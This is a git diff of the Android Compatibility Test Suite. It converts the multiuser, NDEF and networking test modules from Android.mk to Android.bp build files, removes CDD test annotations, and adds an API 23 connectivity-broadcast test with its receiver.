diff --git a/tests/tests/multiuser/Android.bp b/tests/tests/multiuser/Android.bp
new file mode 100644
index 0000000..51d6315
--- /dev/null
+++ b/tests/tests/multiuser/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsMultiUserTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: ["android.test.base.stubs"],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/multiuser/Android.mk b/tests/tests/multiuser/Android.mk
deleted file mode 100644
index dfbdf1d..0000000
--- a/tests/tests/multiuser/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsMultiUserTestCases
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index fd0d37b..622c336 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -1017,6 +1017,11 @@
             glEGLImageTargetTexture2DOES(mTexTarget, static_cast<GLeglImageOES>(mEGLImage));
         }
     }
+    // If the texture does not have mipmaps, set a filter that does not require them.
+    if (!(desc.usage & AHARDWAREBUFFER_USAGE_GPU_MIPMAP_COMPLETE)) {
+        glTexParameteri(mTexTarget, GL_TEXTURE_MAX_LEVEL, 0);
+        glTexParameteri(mTexTarget, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
+    }
     ASSERT_EQ(GLenum{GL_NO_ERROR}, glGetError());
 }
 
diff --git a/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java b/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java
index ff022fc..7d31dc3 100644
--- a/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java
+++ b/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java
@@ -21,14 +21,10 @@
 import android.hardware.HardwareBuffer;
 import android.test.AndroidTestCase;
 
-import com.android.compatibility.common.util.CddTest;
-
 /**
  * Checks whether layered buffers are supported when VR feature is present.
  */
 public class HardwareBufferVrTest extends AndroidTestCase {
-
-    @CddTest(requirement="7.9.2/C-1-10")
     public void testLayeredBuffersForVr() throws AssertionError {
         boolean mIsVrHeadset = (getContext().getResources().getConfiguration().uiMode
             & Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_VR_HEADSET;
diff --git a/tests/tests/ndef/Android.bp b/tests/tests/ndef/Android.bp
new file mode 100644
index 0000000..b69d7a6
--- /dev/null
+++ b/tests/tests/ndef/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2011 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsNdefTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: ["ctstestrunner-axt"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/ndef/Android.mk b/tests/tests/ndef/Android.mk
deleted file mode 100644
index 0e5b1dd..0000000
--- a/tests/tests/ndef/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsNdefTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/ndef/AndroidTest.xml b/tests/tests/ndef/AndroidTest.xml
index aef105f..c4b0585 100644
--- a/tests/tests/ndef/AndroidTest.xml
+++ b/tests/tests/ndef/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS NDEF test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNdefTestCases.apk" />
diff --git a/tests/tests/ndef/src/android/ndef/cts/NdefTest.java b/tests/tests/ndef/src/android/ndef/cts/NdefTest.java
index 7b8cadb..b0a838c 100644
--- a/tests/tests/ndef/src/android/ndef/cts/NdefTest.java
+++ b/tests/tests/ndef/src/android/ndef/cts/NdefTest.java
@@ -24,8 +24,6 @@
 import android.nfc.NdefRecord;
 import android.nfc.FormatException;
 
-import com.android.compatibility.common.util.CddTest;
-
 import junit.framework.TestCase;
 
 /**
@@ -34,7 +32,6 @@
  * hardware is required, so these API's are mandatory even on Android
  * devices without NFC hardware.
  */
-@CddTest(requirement="7.4.4/C-0-1")
 public class NdefTest extends TestCase {
     static final Charset ASCII = Charset.forName("US-ASCII");
     static final Charset UTF8 = Charset.forName("UTF-8");
@@ -89,7 +86,6 @@
                 new byte[] {1,2,3}, new byte[] {4,5,6}, new byte[] {7,8,9})).hashCode());
     }
 
-    @CddTest(requirement="7.4.4/C-0-1")
     public void testInvalidParsing() throws FormatException {
         final byte[][] invalidNdefMessages = {
             {},                                    // too short
@@ -119,7 +115,6 @@
         }
     }
 
-    @CddTest(requirement="7.4.4/C-0-1")
     public void testValidParsing() throws FormatException {
         // short record
         assertEquals(new NdefMessage(new NdefRecord(NdefRecord.TNF_EMPTY, null, null, null)),
@@ -312,7 +307,6 @@
                 (byte) 0x6f, (byte) 0x6d}));
     }
 
-    @CddTest(requirement="7.4.4/C-0-1")
     public void testCreateUri() {
         assertEquals(new byte[] {
                 (byte)0xD1, 1, 8, 'U', (byte)0x01, 'n', 'f', 'c', '.', 'c', 'o', 'm'},
@@ -333,7 +327,6 @@
                 new NdefMessage(NdefRecord.createUri("\u00A2")).toByteArray());
     }
 
-    @CddTest(requirement="7.4.4/C-0-1")
     public void testCreateMime() {
         assertEquals(
                 new NdefRecord(NdefRecord.TNF_MIME_MEDIA, "text/plain".getBytes(ASCII), null,
@@ -392,7 +385,6 @@
                 NdefRecord.createExternal("A.b", "C!", null));
     }
 
-    @CddTest(requirement="7.4.4/C-0-1")
     public void testCreateApplicationRecord() throws FormatException {
         NdefMessage m;
         NdefRecord r;
@@ -439,7 +431,6 @@
         assertEquals("com.foo.bar".getBytes(), r.getPayload());
     }
 
-    @CddTest(requirement="7.4.4/C-0-1")
     public void testToByteArray() throws FormatException {
         NdefRecord r;
 
@@ -489,7 +480,6 @@
                 1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,})).toByteArray());
     }
 
-    @CddTest(requirement="7.4.4/C-0-1")
     public void testToUri() {
         // absolute uri
         assertEquals(Uri.parse("http://www.android.com"),
@@ -526,7 +516,6 @@
         assertEquals(null, new NdefRecord(NdefRecord.TNF_EMPTY, null, null, null).toUri());
     }
 
-    @CddTest(requirement="7.4.4/C-0-1")
     public void testToMimeType() {
         assertEquals(null, NdefRecord.createUri("http://www.android.com").toMimeType());
         assertEquals(null, new NdefRecord(NdefRecord.TNF_EMPTY, null, null, null).toMimeType());
diff --git a/tests/tests/net/Android.bp b/tests/tests/net/Android.bp
new file mode 100644
index 0000000..b6ea4af
--- /dev/null
+++ b/tests/tests/net/Android.bp
@@ -0,0 +1,65 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsNetTestCases",
+    defaults: ["cts_defaults"],
+
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    libs: [
+        "voip-common",
+        "org.apache.http.legacy",
+        "android.test.base.stubs",
+    ],
+
+    jni_libs: [
+        "libcts_jni",
+        "libnativedns_jni",
+        "libnativemultinetwork_jni",
+        "libnativehelper_compat_libc++",
+    ],
+
+    // include CtsTestServer as a temporary hack to free net.cts from cts.stub.
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+    ],
+
+    static_libs: [
+        "FrameworksNetCommonTests",
+        "core-tests-support",
+        "compatibility-device-util-axt",
+        "cts-net-utils",
+        "ctstestrunner-axt",
+        "ctstestserver",
+        "mockwebserver",
+        "junit",
+        "junit-params",
+        "truth-prebuilt",
+    ],
+
+    // uncomment when b/13249961 is fixed
+    // sdk_version: "current",
+    platform_apis: true,
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+}
diff --git a/tests/tests/net/Android.mk b/tests/tests/net/Android.mk
deleted file mode 100644
index 45941a7..0000000
--- a/tests/tests/net/Android.mk
+++ /dev/null
@@ -1,60 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_JAVA_LIBRARIES := \
-    voip-common \
-    conscrypt \
-    org.apache.http.legacy \
-    android.test.base.stubs \
-
-
-LOCAL_JNI_SHARED_LIBRARIES := libcts_jni libnativedns_jni \
-                              libnativemultinetwork_jni libnativehelper_compat_libc++
-
-# include CtsTestServer as a temporary hack to free net.cts from cts.stub.
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsNetTestCases
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    core-tests-support \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ctstestserver \
-    mockwebserver \
-    junit \
-    truth-prebuilt
-
-# uncomment when b/13249961 is fixed
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/net/AndroidManifest.xml b/tests/tests/net/AndroidManifest.xml
index b261b39..734d9de 100644
--- a/tests/tests/net/AndroidManifest.xml
+++ b/tests/tests/net/AndroidManifest.xml
@@ -16,7 +16,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.net.cts">
+    package="android.net.cts"
+    android:targetSandboxVersion="2">
 
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
@@ -34,12 +35,6 @@
     <application android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner" />
         <uses-library android:name="org.apache.http.legacy" android:required="false" />
-
-        <receiver android:name=".ConnectivityReceiver">
-            <intent-filter>
-                <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
-            </intent-filter>
-        </receiver>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/net/AndroidTest.xml b/tests/tests/net/AndroidTest.xml
index 1326970..1910d53 100644
--- a/tests/tests/net/AndroidTest.xml
+++ b/tests/tests/net/AndroidTest.xml
@@ -15,10 +15,14 @@
 <configuration description="Config for CTS Net test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="networking" />
+    <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetTestCases.apk" />
-        <option name="test-file-name" value="CtsNetTestAppForApi23.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.net.cts" />
diff --git a/tests/tests/net/api23Test/Android.bp b/tests/tests/net/api23Test/Android.bp
new file mode 100644
index 0000000..ffe854e
--- /dev/null
+++ b/tests/tests/net/api23Test/Android.bp
@@ -0,0 +1,52 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsNetApi23TestCases",
+    defaults: ["cts_defaults"],
+
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    libs: [
+        "android.test.base.stubs",
+    ],
+
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+    ],
+
+    static_libs: [
+        "core-tests-support",
+        "compatibility-device-util-axt",
+        "cts-net-utils",
+        "ctstestrunner-axt",
+        "ctstestserver",
+        "mockwebserver",
+        "junit",
+        "junit-params",
+        "truth-prebuilt",
+    ],
+
+    platform_apis: true,
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+}
diff --git a/tests/tests/net/api23Test/AndroidManifest.xml b/tests/tests/net/api23Test/AndroidManifest.xml
new file mode 100644
index 0000000..8af87f6
--- /dev/null
+++ b/tests/tests/net/api23Test/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.net.cts.api23test">
+
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+    <uses-permission android:name="android.permission.INTERNET" />
+
+    <application android:usesCleartextTraffic="true">
+        <uses-library android:name="android.test.runner" />
+
+        <receiver android:name=".ConnectivityReceiver">
+            <intent-filter>
+                <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
+            </intent-filter>
+        </receiver>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.net.cts.api23test"
+                     android:label="CTS tests of android.net">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
+
diff --git a/tests/tests/net/api23Test/AndroidTest.xml b/tests/tests/net/api23Test/AndroidTest.xml
new file mode 100644
index 0000000..21f28fc
--- /dev/null
+++ b/tests/tests/net/api23Test/AndroidTest.xml
@@ -0,0 +1,30 @@
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Net API23 test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="networking" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsNetApi23TestCases.apk" />
+        <option name="test-file-name" value="CtsNetTestAppForApi23.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.net.cts.api23test" />
+        <option name="hidden-api-checks" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityManagerApi23Test.java b/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityManagerApi23Test.java
new file mode 100644
index 0000000..cdb66e3
--- /dev/null
+++ b/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityManagerApi23Test.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts.api23test;
+
+import static android.content.pm.PackageManager.FEATURE_WIFI;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.net.ConnectivityManager;
+import android.net.cts.util.CtsNetUtils;
+import android.os.Looper;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class ConnectivityManagerApi23Test extends AndroidTestCase {
+    private static final String TAG = ConnectivityManagerApi23Test.class.getSimpleName();
+    private static final int SEND_BROADCAST_TIMEOUT = 30000;
+    // Intent string to get the number of wifi CONNECTIVITY_ACTION callbacks the test app has seen
+    public static final String GET_WIFI_CONNECTIVITY_ACTION_COUNT =
+            "android.net.cts.appForApi23.getWifiConnectivityActionCount";
+    // Action sent to ConnectivityActionReceiver when a network callback is sent via PendingIntent.
+
+    private Context mContext;
+    private PackageManager mPackageManager;
+    private CtsNetUtils mCtsNetUtils;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        Looper.prepare();
+        mContext = getContext();
+        mPackageManager = mContext.getPackageManager();
+        mCtsNetUtils = new CtsNetUtils(mContext);
+    }
+
+    /**
+     * Tests reporting of connectivity changed.
+     */
+    public void testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent() {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+            Log.i(TAG, "testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent cannot execute unless device supports WiFi");
+            return;
+        }
+        ConnectivityReceiver.prepare();
+
+        mCtsNetUtils.toggleWifi();
+
+        // The connectivity broadcast has been sent; push through a terminal broadcast
+        // to wait for in the receive to confirm it didn't see the connectivity change.
+        Intent finalIntent = new Intent(ConnectivityReceiver.FINAL_ACTION);
+        finalIntent.setClass(mContext, ConnectivityReceiver.class);
+        mContext.sendBroadcast(finalIntent);
+        assertFalse(ConnectivityReceiver.waitForBroadcast());
+    }
+
+    public void testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent()
+            throws InterruptedException {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+            Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot"
+                    + "execute unless device supports WiFi");
+            return;
+        }
+        mContext.startActivity(new Intent()
+                .setComponent(new ComponentName("android.net.cts.appForApi23",
+                        "android.net.cts.appForApi23.ConnectivityListeningActivity"))
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+        Thread.sleep(200);
+
+        mCtsNetUtils.toggleWifi();
+
+        Intent getConnectivityCount = new Intent(GET_WIFI_CONNECTIVITY_ACTION_COUNT);
+        assertEquals(2, sendOrderedBroadcastAndReturnResultCode(
+                getConnectivityCount, SEND_BROADCAST_TIMEOUT));
+    }
+
+    public void testConnectivityChanged_whenRegistered_shouldReceiveIntent() {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+            Log.i(TAG, "testConnectivityChanged_whenRegistered_shouldReceiveIntent cannot execute unless device supports WiFi");
+            return;
+        }
+        ConnectivityReceiver.prepare();
+        ConnectivityReceiver receiver = new ConnectivityReceiver();
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
+        mContext.registerReceiver(receiver, filter);
+
+        mCtsNetUtils.toggleWifi();
+        Intent finalIntent = new Intent(ConnectivityReceiver.FINAL_ACTION);
+        finalIntent.setClass(mContext, ConnectivityReceiver.class);
+        mContext.sendBroadcast(finalIntent);
+
+        assertTrue(ConnectivityReceiver.waitForBroadcast());
+    }
+
+    private int sendOrderedBroadcastAndReturnResultCode(
+            Intent intent, int timeoutMs) throws InterruptedException {
+        final LinkedBlockingQueue<Integer> result = new LinkedBlockingQueue<>(1);
+        mContext.sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                result.offer(getResultCode());
+            }
+        }, null, 0, null, null);
+
+        Integer resultCode = result.poll(timeoutMs, TimeUnit.MILLISECONDS);
+        assertNotNull("Timed out (more than " + timeoutMs +
+                " milliseconds) waiting for result code for broadcast", resultCode);
+        return resultCode;
+    }
+
+}
\ No newline at end of file
diff --git a/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityReceiver.java b/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityReceiver.java
new file mode 100644
index 0000000..9d2b8ad
--- /dev/null
+++ b/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityReceiver.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts.api23test;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.ConnectivityManager;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class ConnectivityReceiver extends BroadcastReceiver {
+    static boolean sReceivedConnectivity;
+    static boolean sReceivedFinal;
+    static CountDownLatch sLatch;
+
+    static void prepare() {
+        synchronized (ConnectivityReceiver.class) {
+            sReceivedConnectivity = sReceivedFinal = false;
+            sLatch = new CountDownLatch(1);
+        }
+    }
+
+    static boolean waitForBroadcast() {
+        try {
+            sLatch.await(30, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            throw new IllegalStateException(e);
+        }
+        synchronized (ConnectivityReceiver.class) {
+            sLatch = null;
+            if (!sReceivedFinal) {
+                throw new IllegalStateException("Never received final broadcast");
+            }
+            return sReceivedConnectivity;
+        }
+    }
+
+    static final String FINAL_ACTION = "android.net.cts.action.FINAL";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.i("ConnectivityReceiver", "Received: " + intent.getAction());
+        if (ConnectivityManager.CONNECTIVITY_ACTION.equals(intent.getAction())) {
+            sReceivedConnectivity = true;
+        } else if (FINAL_ACTION.equals(intent.getAction())) {
+            sReceivedFinal = true;
+            if (sLatch != null) {
+                sLatch.countDown();
+            }
+        }
+    }
+}
diff --git a/tests/tests/net/appForApi23/Android.bp b/tests/tests/net/appForApi23/Android.bp
new file mode 100644
index 0000000..82e2a08
--- /dev/null
+++ b/tests/tests/net/appForApi23/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsNetTestAppForApi23",
+    defaults: ["cts_defaults"],
+
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "23",
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+}
diff --git a/tests/tests/net/appForApi23/Android.mk b/tests/tests/net/appForApi23/Android.mk
deleted file mode 100644
index 54b60a0..0000000
--- a/tests/tests/net/appForApi23/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
